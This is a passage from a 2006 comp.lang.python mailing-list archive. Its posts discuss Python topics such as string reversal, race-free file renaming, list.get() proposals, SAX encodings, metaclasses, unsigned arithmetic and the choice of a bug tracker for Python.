xyz.release() > print "Released xyz" > > > You'd need something like that around any potentially blocking > operation -- queue operations, subprocess operations, socket > operations... Rather than print statements you may wish to implement it > via the logging module. If you don't mind a potentially large log file, use the pyconquer module I maintain here: http://projects.amor.org/misc/wiki/PyConquer which uses settrace to do the logging in a much more readable and manageable way than printlining. Try an initial run using the default settings to narrow down the culprit, and then a run with C events turned on if the first run wasn't enough. It should help out even if your program is not multi-threaded, but it realy shines with threads. :) Robert Brewer System Architect Amor Ministries fumanchu at amor.org P.S. Oh, and ignore the times in the output for now; that's still work in progress. From Jeff.Demel at JavelinDirect.com Fri Oct 20 11:49:30 2006 From: Jeff.Demel at JavelinDirect.com (Demel, Jeff) Date: Fri, 20 Oct 2006 10:49:30 -0500 Subject: invert or reverse a string... warning this is a rant Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEFF@DMSP-MSG-EVS01.mail.pvt> >Demel, Jeff wrote: >> I've been programming professionally for over 10 years, and have never >> once needed to reverse a string. Maybe it's a lack of imagination on >> my part, but I can't think of a single instance this might be necessary. Carl wrote: >Say you're using a function from a third-party library that finds >the first character in a string that meets some requirement. You >need to find the last such character. It appears your imagination is better than mine. -Jeff This email is intended only for the individual or entity to which it is addressed. This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system. Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful. From wdraxinger at darkstargames.de Sat Oct 28 07:38:14 2006 From: wdraxinger at darkstargames.de (Wolfgang Draxinger) Date: Sat, 28 Oct 2006 13:38:14 +0200 Subject: Safely renaming a file without overwriting References: Message-ID: <72sb14-08j.ln1@darkstargames.dnsalias.net> Steven D'Aprano wrote: > I want to rename a file, but only if the destination file name > doesn't already exist. > > I can do this: > > if os.path.exists(dest): > # skip file, raise an exception, make a backup... > do_something_else() > else: > os.rename(src, dest) > > > But on a multi-user system, it is possible that dest is created > in the time period between checking if it exists and attempting > the rename. > > Is there any way to prevent this? Or do I just try to keep the > check and the rename as close together as possible, minimizing > the chances and hoping for the best? 1: Open the file with os.open 2: Lock the file exclusively -> no other process can now access it. 3: Use rename to rename the file; this causes a file system level implicit unlink of the old file (it dissappears from the file system) but the opening process can still access it. 4: close the file -> the lock is removed and the rename finalized. Wolfgang Draxinger -- E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867 GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E From MonkeeSage at gmail.com Sun Oct 8 14:32:10 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 8 Oct 2006 11:32:10 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> <1160269607.522241.311160@m73g2000cwd.googlegroups.com> Message-ID: <1160332330.684420.276560@e3g2000cwe.googlegroups.com> On Oct 8, 5:57 am, Steven D'Aprano wrote: > No, *less* often. That's the point -- it is fairly common for people to > want dictionary lookup to return a default value, but quite rare for them > to want sequence lookup to return a default value. A sequence with a > default value would be, in some sense, equivalent to an infinite list: Ah, yes. Infinite dictionaries are much better! I guess you could think of it like providing a infinitely indexed list (or infinitely keyed dict), but a better way to think of it is as providing a non-terminating exception where the default value is the exceptional case. And I don't see why it would be so rare to do something like: if sys.argv.get(1): ... With list.has_index() / get(), the following (pretty common I think) idiom: try: data = some_unknown_seq[2] except IndexError: data = None if data: ... Can become: data = some_unknown_seq.get(2) if data: ... Perhaps list.get() wouldn't be used as often as dict.get(), but it would be used a fair amount I think. Looking at the standard library (2.5 source), I find 30 places where "except IndexError" appears, and two places where a comment says that some method "raises IndexError" on some condition. I haven't looked at the context of them, but I'd wager that many of them would benefit from list.has_index() and / or get(). Here is my script to search the libs: import os, re found = {} for path, dirs, files in os.walk('./Lib'): for afile in files: afile = open(os.path.join(path, afile)) lines = afile.readlines() afile.close() for line in lines: match = re.search(r'((except|raises) IndexError)', line) if match: found[afile.name] = match.group(1) for item in found.items(): print '%s (%s)' % item print 'Found %d matches' % len(found) > dict.get() doesn't raise KeyError. That's the whole point of get(), it > returns a default value instead of raising KeyError. Right. Exactly. Accessing a non-existent key raises a KeyError, but dict.get() short-curcuits the exception and gives you a default value (which is None unless explicitly changed). So instead of trying the key and catching a KeyError, you can use a simple conditional and ask if d.has_key(key), or assign d.get(key) and test the assignee. So, why isn't there a list.has_index() / get()? > If you don't care enough to even make a formal feature > request, let alone a PEP, then why should people who care even less > actually write the code? I'm thinking about it. I just wanted to see if anyone knew of, or could come up with, a good reason why it isn't / shouldn't be there. Apparently not (at least not one that doesn't also bite the dict convenience methods), so I'll probably go ahead and make a feature request in the next few days. Regards, Jordan From pyscripter at gmail.com Sun Oct 1 22:11:41 2006 From: pyscripter at gmail.com (pyscripter at gmail.com) Date: 1 Oct 2006 19:11:41 -0700 Subject: XSLT speed comparisons In-Reply-To: <1159556742.389089.93370@i3g2000cwc.googlegroups.com> References: <1159392275.988709.72990@m7g2000cwm.googlegroups.com> <451BD332.1080505@websafe.com> <1159471108.337439.147440@m73g2000cwd.googlegroups.com> <1159556742.389089.93370@i3g2000cwc.googlegroups.com> Message-ID: <1159755101.052236.45020@h48g2000cwc.googlegroups.com> Jordan wrote: > If your using python 2.4.3 or essentially any of the 2.3, 2.4 series, > i'd test out PyScripter as an IDE, it's one of the best that I've used. > Unfortunately, they have yet to fully accomedate 2.5 code (you can > still write 2.5 code with almost no problems, but you won't be able to > use a 2.5 interactive interpeter). An unofficial update supporting Python 2.5 is available at pyscripter.googlepages.com and an offical release is coming real soon. From deets at nospam.web.de Wed Oct 4 10:57:39 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Wed, 04 Oct 2006 16:57:39 +0200 Subject: How to ask sax for the file encoding References: Message-ID: <4oi0f3FehgnuU1@uni-berlin.de> Edward K. Ream wrote: >>> Can anyone tell me how the content handler can determine the encoding of >>> the file? Can sax provide this info? > >> there is no encoding on the "inside" of an XML document; it's all >> Unicode. > > True, but sax is reading the file, so sax is producing the unicode, so it > should (must) be able to determine the encoding. It is, by reading the xml header. > Furthermore, xml files > start with lines like: > > > > so it would seem reasonable for sax to be able to return 'utf-8' somehow. > Am I missing something? That sax outputs unicode, which has no encoding associated anymore. And thus it is a pretty much irrelevant information. It _could_ be retained, but for what purpose? Diez From mmn at news.bellatlantic.net Thu Oct 26 23:48:25 2006 From: mmn at news.bellatlantic.net (Michael Naunton) Date: Fri, 27 Oct 2006 03:48:25 GMT Subject: Cards deck problem References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> Message-ID: On 26 Oct 2006 02:27:16 -0700, Arun Nair wrote: It is clear your professor does not understand computer science. Switch to a new university now. As noted in the problem, a deck has 52 cards. cardsLeft(self) therefore always returns 52. This may seem pendantic, but CS is mostly about thinking about (and thus naming) things clearly. Find someone who does. -- Michael > d> Create a new class deck that represents a pack of 52 cards. Which > supports the following methods: > > _ _init_ _ (self) - Creates a deck of cards in standard order. > shuffle(self) - Randomizes the order of the cards > dealCard(self) - Returns a single card from the top of the deck, and > removes the card from the deck. > cardsLeft(self) - Returns the number of cards left in the deck. > Test your class by having it deal out a sequence of 'n' cards where 'n' > is a number input by the user. The program should either print out the > cards, or display them in a window. > From torriem at chem.byu.edu Tue Oct 31 13:02:17 2006 From: torriem at chem.byu.edu (Michael L Torrie) Date: Tue, 31 Oct 2006 11:02:17 -0700 Subject: What is the cleanest way to for a module to access objects from the script that imports it? In-Reply-To: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> Message-ID: <1162317737.19856.6.camel@isengard> On Fri, 2006-10-27 at 14:53 -0700, noamsml at gmail.com wrote: > Hi, > > I am new to python and am currently writing my first application. One > of the problems I quickly ran into, however, is that python's imports > are very different from php/C++ includes in the sense that they > completely wrap the imported script in a module object. One of the > problems with this was that a plugin system that I am making requires > use of objects, classes and the such from the original script. Thus, on > one hand, I am hesitant to use execfile(), since I *do* want to wrap > the plugin up, but on the other hand, I want the plugin to be able to > use functions from the original script. Any ideas? I have a system that uses modules as plugins also. These are loaded dynamically when the user specifies them from a gui. I put all these modules in an array using the __import__ function. I found, though, that I needed to specify whether or not each module had actually loaded, or if there had been an exception (module not found or whatever). So I wrote a wrapper object that would try to load the module and store it as a local attribute. I made my wrapper object implement functions like __getattr__ and pass any unknown calls into the module object itself, making the wrapper object act as if it was the module, but having extra capabilities, such as being able to tell me if the module had actually loaded or not. Michael > > Sincerely, > Noam Samuel. > From noway at sorry.com Wed Oct 4 17:09:04 2006 From: noway at sorry.com (Giovanni Bajo) Date: Wed, 04 Oct 2006 21:09:04 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: >> You fail to recognize that Python is *already* using a non-free >> software for bug tracking, as do thousands of other projects. > > I don't think that reflects an explicit decision. SF started out as > free software and the software became nonfree after people were > already using it. Moreover, this looked like a very good chance to have this nuisance sorted out. Too bad some people don't value free software enough. -- Giovanni Bajo From martin at v.loewis.de Wed Oct 25 13:20:51 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 25 Oct 2006 19:20:51 +0200 Subject: unsigned 32 bit arithmetic type? In-Reply-To: References: <453F4A52.3050200@v.loewis.de> Message-ID: <453F9CF3.2050908@v.loewis.de> Robin Becker schrieb: > Of course the actual semantics is dependent on what C unsigned > arithmetic does so we're relying on that being the same everywhere. Assuming that ULONG has the same width on all systems, the outcome is actually mandated by the C standard: unsigned arithmetic is defined to operate modulo (max_uint+1) (even if that is not a power of two). > This algorithm was pretty simple in Python until 2.3 when shifts over > the end of ints started going wrong. Actually, they start going *right* :-) Addition of two positive numbers never gives a negative result, in mathematics. > where while it might be reasonable to do testing it seems the tests > aren't very sensible eg what is -6 doing in a u32 test? This stuff just > about works on a 32 bit machine, but is failing miserably on a 64bit > AMD. As far as I can see I just need to use masked longs throughout. Exactly. > In a C extension I can still do the computation exfficiently on a 32bit > machine, but I need to do masking for a 64 bit machine. Well, no. You just need to find a 32-bit unsigned integer type on the 64-bit machine. Typically, "unsigned int" should work fine (with only the Cray being a notable exception, AFAIK). IOW, replace ULONG with uint32_t wherever you really mean an unsigned 32-bit type, then use stdint.h where available, else define it to unsigned int (with a build-time or run-time test whether sizeof(unsigned int)==4). Regards, Martin From stanley.graves at gmail.com Tue Oct 3 17:15:12 2006 From: stanley.graves at gmail.com (Stan Graves) Date: 3 Oct 2006 14:15:12 -0700 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: <1159910112.284815.316570@i42g2000cwa.googlegroups.com> LaundroMat wrote: > Suppose I have this function: > > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? "None" doesn't seem to work.. What about this? >>> def f(var=None): ... if var == None: ... var = 1 ... return 2*var ... >>> f() 2 >>> f(3) 6 >>> a=4 >>> f(a) 8 >>> b=None >>> f(b) 2 >>> --Stan Graves From martin at v.loewis.de Wed Oct 4 18:08:53 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 05 Oct 2006 00:08:53 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: <452430F5.8010102@v.loewis.de> Fredrik Lundh schrieb: > what I was trying to say (between the lines) was that not only have > the people on that list worked hard to do the evaluation (not to mention > all the developers around the world that has worked even harder to set > up test trackers) That cannot be praised enough. Special thanks to Jonathan Nolen from Atlassian to set up the Jira installation, Stefan Seefeld to set up the Roundup installation, Alec Thomas for the Trac installation, and James Henstridge for adding Python to the Launchpad. To all those who complain that their favorite software XYZ wasn't considered: apparently, nobody in the community bothered enough to respond to the call for trackers. If nobody experienced with the software thinks it is worthwhile to set up a demo it, why should we review it? Regards, Martin From mumebuhi at gmail.com Tue Oct 24 19:09:34 2006 From: mumebuhi at gmail.com (mumebuhi) Date: 24 Oct 2006 16:09:34 -0700 Subject: Sending Dictionary via Network References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> Message-ID: <1161731374.373983.56110@m73g2000cwd.googlegroups.com> Thank you very much for the reply. Can pickle work directly with socket? The way I am doing right now is to pickle the object to a file then send the file content through the socket. From Jeff.Demel at JavelinDirect.com Thu Oct 19 13:54:14 2006 From: Jeff.Demel at JavelinDirect.com (Demel, Jeff) Date: Thu, 19 Oct 2006 12:54:14 -0500 Subject: invert or reverse a string... warning this is a rant Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt> wlfraed at ix.netcom.com wrote: >ONE usage... The old intro-to-programming Palindrome detector >becomes a very simple assignment given an easy means of >reversing a string (vs the "expected" loop comparing from >the ends in to the center) Ok, let me re-phrase: ...[snip]... I've been programming professionally for over 10 years, and have never once needed to reverse a string *or detect a palindrome*. Maybe it's a lack of imagination on my part, but I can't think of a single instance this might be necessary. ...[snip]... ;) Those damn "intro-to-programming" classes nail me again! Is this why the applicants I see that are fresh out of college with their shiny new computer science degrees can't seem to code their way out of a wet paper bag? -Jeff This email is intended only for the individual or entity to which it is addressed. This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system. Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful. From ptmcg at austin.rr._bogus_.com Wed Oct 25 14:38:41 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 25 Oct 2006 18:38:41 GMT Subject: Sorting by item_in_another_list References: <7x1woypbe1.fsf@ruckus.brouhaha.com> Message-ID: "Paul McGuire" wrote in message news:rkN%g.22603$ta3.2702 at tornado.texas.rr.com... > "J. Clifford Dyer" wrote in message > news:eho2kq$lqc$1 at aioe.server.aioe.org... >> ZeD wrote: >>> Paul Rubin wrote: >>> >>>>> A = [0,1,2,3,4,5,6,7,8,9,10] >>>>> B = [2,3,7,8] >>>>> >>>>> desired_result = [2,3,7,8,0,1,4,5,6,9,10] >>>> How about: >>>> >>>> desired_result = B + sorted(x for x in A if x not in B) >>> >>> this. is. cool. >>> >> >> Cool, yes, but I'm not entirely sure it does what the OP wanted. Partly >> because I'm not entirely sure what the OP wanted. Counter example: >> >> Given these variables: >> >> A = [0,1,2,3,4,5,6,8,9,10] # Note 7 is missing >> B = [2,3,7,8] >> >> which of the following should the function yield? >> > > From the original post: > > "I have two lists, A and B, such that B is a subset of A." > > So this is not a case that needs to be supported. > > I envisioned something like the OP had a sequence of items to start with, > did a random sampling from the list, and wanted to move the sampled items > to the front of the list. > > -- Paul > Here is a little subclass of list that has some set-ish operators added. -- Paul # ListWithMath does set-like operations on lists, keeping list order # stable where applicable class ListWithMath(list): def isSuperset(self,other): return len(self ^ other) == len(other) def __iadd__(self,other): self.extend(other) return self def __isub__(self,other): if self.isSuperset(other): for i in other: self.remove(i) return self else: raise ValueError def __ixor__(self,other): for a in self[::-1]: if not a in other: self.remove(a) return self def __add__(self,other): temp = ListWithMath(self) temp += other return temp def __sub__(self,other): temp = ListWithMath(self) temp -= other return temp def __xor__(self,other): temp = ListWithMath(self) temp ^= other return temp def __radd__(self,other): return ListWithMath(other) + self def __rsub__(self,other): return ListWithMath(other) - self def __rxor__(self,other): return ListWithMath(other) ^ self A = ListWithMath( [0,1,2,3,4,5,6,7,8,9,10] ) B = ListWithMath( [2,3,7,10,8] ) print "%s+(%s-%s)" % (B,A,B) C = B+(A-B) # union and exclusion print C D = ListWithMath( [1,2,3,6,8,11] ) print "%s ^ %s" % (B,D) print B^D # intersection print "%s ^= %s" % (B,D) B ^= D # in-place intersection print B print C C += [] print C C -= [] print C C ^= [] print C Prints: [2, 3, 7, 10, 8]+([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]-[2, 3, 7, 10, 8]) [2, 3, 7, 10, 8, 0, 1, 4, 5, 6, 9] [2, 3, 7, 10, 8] ^ [1, 2, 3, 6, 8, 11] [2, 3, 8] [2, 3, 7, 10, 8] ^= [1, 2, 3, 6, 8, 11] [2, 3, 8] [2, 3, 7, 10, 8, 0, 1, 4, 5, 6, 9] [2, 3, 7, 10, 8, 0, 1, 4, 5, 6, 9] [2, 3, 7, 10, 8, 0, 1, 4, 5, 6, 9] [] From umut.tabak at student.kuleuven.be Mon Oct 23 09:26:02 2006 From: umut.tabak at student.kuleuven.be (umut.tabak at student.kuleuven.be) Date: 23 Oct 2006 06:26:02 -0700 Subject: Script to count files in a folder In-Reply-To: References: <1161608629.259769.88490@b28g2000cwb.googlegroups.com> Message-ID: <1161609961.966357.281860@m7g2000cwm.googlegroups.com> On Oct 23, 3:11 pm, "Fredrik Lundh" wrote: > umut.ta... at student.kuleuven.be wrote: > > A batch file creates this file and deletes that file in the same loop. > > This file is intended to start the reading of an input file. After it > > is read batch file deletes this file automatically and on the next loop > > it will be written and deleted again. With this script I have to count > > the occurences of the file on this specific folder.what does "count" mean here? > > do you want to check if the file is there, or how many times a file with > that name has been created ? Yes I would like to check how many times that specific file is created. so count is the number of times of creation. > > the former is easy (just use the os.path.isfile() function), the latter is not > really possible. > > From rrr at ronadam.com Sat Oct 21 03:21:01 2006 From: rrr at ronadam.com (Ron Adam) Date: Sat, 21 Oct 2006 02:21:01 -0500 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: Steven D'Aprano wrote: > On Sat, 21 Oct 2006 01:58:33 -0500, Ron Adam wrote: > >> [You said from an earlier post...] >> >>> (That's a complaint I have about the dis module -- it prints its results, >>> instead of returning them as a string. That makes it hard to capture the >>> output for further analysis.) >> I have a rewritten version of dis just sitting on my hard disk that fixes >> exactly that issue. It needs to be updated to take into account some newer 2.5 >> features and the tests will need to be updated so they retrieve dis's output >> instead of redirecting stdout. If you'd like to finish it up and submit it as a >> patch, I can forward it to you. It would be good to have a second set of eyes >> look at it also. > > I'm certainly willing to look at it; as far as submitting it as a patch, I > have no idea what the procedure is. Maybe we can find out together heh? :-) Sounds good to me. I email an attachment to you. :) From Eric_Dexter at msn.com Fri Oct 27 18:16:03 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 27 Oct 2006 15:16:03 -0700 Subject: "Music Theory Programming" Google Group In-Reply-To: <1161976872.726877.200380@i3g2000cwc.googlegroups.com> References: <1161976872.726877.200380@i3g2000cwc.googlegroups.com> Message-ID: <1161987363.432687.40240@e3g2000cwe.googlegroups.com> That sounds cool to me.. I am looking for a way to save(self) (csound routines).. and I saw your background in religion :) so I will head on over there https://sourceforge.net/project/showfiles.php?group_id=156455 Omar wrote: > I've been learning some programming during my little sabbatical (mostly > python), and I thought it'd be cool to see if other people are > interested in programming for music theory. So I started a Music > Theory Programming google group. Consider yourselves invited! It'll > be a place for people with different ideas to make music easier to > understand using computer applications to share and collab. > > The address is: > > http://groups.google.com/group/music-theory-programming > > If you know how to do any language (HTML, Perl, Java, C++) etc or just > interested...see ya there! From exogen at gmail.com Thu Oct 26 04:51:05 2006 From: exogen at gmail.com (Brian Beck) Date: 26 Oct 2006 01:51:05 -0700 Subject: chained attrgetter In-Reply-To: <1161810201.975665.269470@h48g2000cwc.googlegroups.com> References: <1161799222.831277.154340@e3g2000cwe.googlegroups.com> <1161810201.975665.269470@h48g2000cwc.googlegroups.com> Message-ID: <1161852665.771599.90710@b28g2000cwb.googlegroups.com> Alexey Borzenkov wrote: > Do you mean something like > > class cattrgetter: > def __init__(self, name): > self.names = name.split('.') > def __call__(self, obj): > for name in self.names: > obj = getattr(obj, name) > return obj I'll raise you one: def cattrgetter(attr): return lambda obj: reduce(getattr, attr.split('.'), obj) py> class A: pass py> a = A py> a.b = A py> a.b.c = "Hey!" py> cattrgetter('b.c')(a) 'Hey!' -- Brian Beck Adventurer of the First Order From __peter__ at web.de Sun Oct 29 02:22:45 2006 From: __peter__ at web.de (Peter Otten) Date: Sun, 29 Oct 2006 08:22:45 +0100 Subject: Metaclasses are not called in subclasses. What did I wrong? References: Message-ID: L?tez? wrote: > I use Python 2.4.4. Please read the code below: > > ----------------------------------------------------------- > from new import classobj > > def mymeta(name,bases,clsdict): > print 'meta: %s'%name > return classobj(name,bases,clsdict) mymeta is not a class. > class A(object): > __metaclass__=mymeta Throw in print "A.__class__", A.__class__ here and read the sentence from the manual again: The __class__ is 'type', so no print... side effects are to be expected below. > class B(A): > pass > > ----------------------------------------------------------- > > This should print > > meta: A > meta: B > > when classes A and B are created. But only meta: B is missing, > since mymeta() is not called when class B is created. > > Related python documentation states that mymeta() must be called when B is > created, since metaclasses are looked up in bases classes if not found in > the dictionary of the class itself. > >>From Python 2.4.4's manual: "Otherwise, if there is at least one base >>class, > its metaclass is used (this looks for a __class__ attribute first and if > not found, uses its type)." One way to get the output you expect: >>> class AType(type): ... def __init__(cls, name, bases, clsdict): ... print "meta:", name ... >>> class A: ... __metaclass__ = AType ... meta: A >>> class B(A): pass ... meta: B I tried with classobj first, but that didn't work: >>> from new import classobj >>> class AType(classobj): pass ... Traceback (most recent call last): File "", line 1, in TypeError: Error when calling the metaclass bases type 'classobj' is not an acceptable base type Peter From Hakusa at gmail.com Wed Oct 25 19:56:38 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 25 Oct 2006 16:56:38 -0700 Subject: What's the best IDE? In-Reply-To: <1161820204.148531.135050@e3g2000cwe.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161820204.148531.135050@e3g2000cwe.googlegroups.com> Message-ID: <1161820598.265369.153130@m7g2000cwm.googlegroups.com> PS: Search engine . . . I knew this had probably come up very often, but I get it's pretty silly of me that I didn't utilize this. And while I was posting another mark for Komodo came. Nice, is it. From webmaster at cacradicalgrace.org Sat Oct 28 17:32:38 2006 From: webmaster at cacradicalgrace.org (J. Clifford Dyer) Date: Sat, 28 Oct 2006 15:32:38 -0600 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: Steven D'Aprano wrote: > On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote: > >>> Finally, while True/False is a good mental mapping for numeric >>> comparisons, take the following: >>> >>> >>> if "Cliff is a pillar of the open source community": >>> .... print "thank you" >>> .... else: >>> .... print "bugger off" >>> >>> bugger off >>> First off, even though nobody has called me on it, this example really prints "thank you", not "bugger off". I got confused in my cutting and pasting. Sorry about that. >>> Clearly this is not true. (Google Cliff/Dyer open source: only 11 >>> hits.), but the string is *something* so the if block gets evaluated. >>> >> >>> if "The above example was bollocks": >> ... print "You don't know what you are talking about" >> ... else: >> ... print "Sorry: of course you are perfectly correct" >> ... >> You don't know what you are talking about > > Cliff is making a point about semantics, and he's absolutely correct about > it, although it is irrelevant since we're talking about two-value logic > not semantics. > > > > Thank you for the clarification Steven (D'Aprano). To a certain level, I agree that semantics are important. I hesitated about including that example in my post to begin with. However, my point, and hopefully I'll be able to make it more clearly now, was that true/false is a useful way to think regarding logical statements like x == 3, but that when you are dealing with strings, or more accurately strings that represent language, you really aren't talking about truth any more, because in that context, truth cannot be divorced from semantics--somethingness, on the other hand, can. Conceptually, you have to go through "'something' is true, and 'nothing' is false" before it makes sense. On the other hand, (to play devil's advocate for a moment), when you are dealing with comparison operators, you have to go through "true statements yield something and false statements yield nothing" before it makes sense, or rather "yield a nothing value." So either way you think about it, you have to, in some cases, mentally convert from truthiness to somethingness or vice versa. I don't find it as odious to mentally convert the comparison operators as I do the declarative statements. I don't think it's just a personal preference either, because that way your mental processes are in sync with the way python works. It evaluates if the statement is true and yields a something value, and a nothing value if it's false. You are working with the Tao of Python, if you'll forgive the analogy. However thinking in terms of truth and then saying that all statements that exist are true works, but runs counter to what is going on behind the scenes. Or maybe it doesn't, if everything's getting converted implicitly to bool anyway. Maybe it is just personal preference after all. But then bools are assigned "something" and "nothing" values.... This stuff is tricky, but I'm enjoying trying to wrap my mind around it, and appreciating the comments and critiques. Cheers, Cliff From tim at tdw.net Tue Oct 3 14:46:40 2006 From: tim at tdw.net (Tim Williams) Date: Tue, 3 Oct 2006 19:46:40 +0100 Subject: Looping over a list question In-Reply-To: References: Message-ID: <9afea2ac0610031146o79e0fcc8yc6665447ff10656b@mail.gmail.com> On 3 Oct 2006 10:50:04 -0700, stephen at theboulets.net wrote: > I found myself writing: > > for f in [i for i in datafiles if '.txt' in i]: > print 'Processing datafile %s' % f > > but I was wishing that I could have instead written: > > for f in in datafiles if '.txt' in f: > print 'Processing datafile %s' % f > > Has there ever been a proposal for this? Just wondering ... > Maybe >>> def myfunc(txt): ... print txt ... >>> datafiles = ['1.txt','2.txt','3.txt','4.tst'] >>> null = [myfunc(i) for i in datafiles if '.txt' in i] 1.txt 2.txt 3.txt >>> From onurb at xiludom.gro Wed Oct 11 04:46:48 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 11 Oct 2006 10:46:48 +0200 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: <452caf79$0$24783$426a74cc@news.free.fr> Peter Maas wrote: > Bruno Desthuilliers schrieb: >> Marc 'BlackJack' Rintsch wrote: >> (snip) >> Python itself is a RAD tool. >> >> +1 QOTW > > No, please stop self-assuring, self-pleasing QOTWs! Certainly not !-) (snip) > I for my part would be happy to see a Delphi-like RAD tool for Python, Look for boa-constructor then. > a reference implementation for web programming as part of the standard > library, wsgiref is part of the 2.5 stdlib. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From mxywp at 126.com Sun Oct 22 01:16:36 2006 From: mxywp at 126.com (mxywp) Date: Sun, 22 Oct 2006 13:16:36 +0800 (CST) Subject: question: script to input data into a web page and then retrieve the result? Message-ID: <453AFEB4.00000B.26189@bj126app30.126.com> Hi, Could someone help me with this or share an example script with me? Here is what I want to accomplish: (1) input 3 values into 3 boxes on a web page (2) there is an authentication code each time you access this page and I have to write this code into the fourth box on the same page (3) click "submit" button (4) this web page will turn into a page with a table having a value calculated from my inputs (5) extract this value into a local file (6) repeat the above for 12000 times. I would really appreciate it if someone can tell me how to do it using python script. I am new to python web programming. Thanks, mxywp -------------- next part -------------- An HTML attachment was scrubbed... URL: From jonas.esp at googlemail.com Sat Oct 28 06:33:27 2006 From: jonas.esp at googlemail.com (MindClass) Date: 28 Oct 2006 03:33:27 -0700 Subject: Import if condition is correct Message-ID: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> Is possible import a library according to a condition? if Foo = True: import bar From fredrik at pythonware.com Sat Oct 28 11:29:34 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 17:29:34 +0200 Subject: Python crashed when importing SOAPpy, printing out 'usage:copy source destination' In-Reply-To: <1162048580.109664.80120@f16g2000cwb.googlegroups.com> References: <1162026431.149026.215510@h48g2000cwc.googlegroups.com> <1162048580.109664.80120@f16g2000cwb.googlegroups.com> Message-ID: jiang.haiyun at gmail.com wrote: > I still can't understand it. If i rename the 'copy.py' to 'a.py', > there will be no problem. hint: when it works, try typing the following into the interpreter: >>> import copy >>> copy.__file__ From no-spam at no-spam-no-spam.com Sat Oct 28 08:04:56 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Sat, 28 Oct 2006 14:04:56 +0200 Subject: what are the most frequently used functions? In-Reply-To: References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com> Message-ID: J?rgen Exner wrote: >> Xah Lee wrote: >>> I had a idea today. > > Oh, really? You should mark your calendar and celebrate the day annually!!! > >>> I wanted to know what are the top most frequently used functions in >>> the emacs lisp language. > > And the relationship with Perl, Python, Java is exactly what? read more of the context and answer to the OP From __peter__ at web.de Mon Oct 30 07:40:51 2006 From: __peter__ at web.de (Peter Otten) Date: Mon, 30 Oct 2006 13:40:51 +0100 Subject: dict problem References: <1161772147.307847.65630@h48g2000cwc.googlegroups.com> <87y7r4mwso.fsf@benfinney.id.au> <453F5401.3020607@helsinki.fi> <87pscgmrp1.fsf@benfinney.id.au> <4545D637.6000205@helsinki.fi> Message-ID: Alistair King wrote: > the code works great now. I know these things are quite simple to learn > from books etc.. but i would be lost without this mailinglist, from lack > of time. Hopefully soon i can give something more 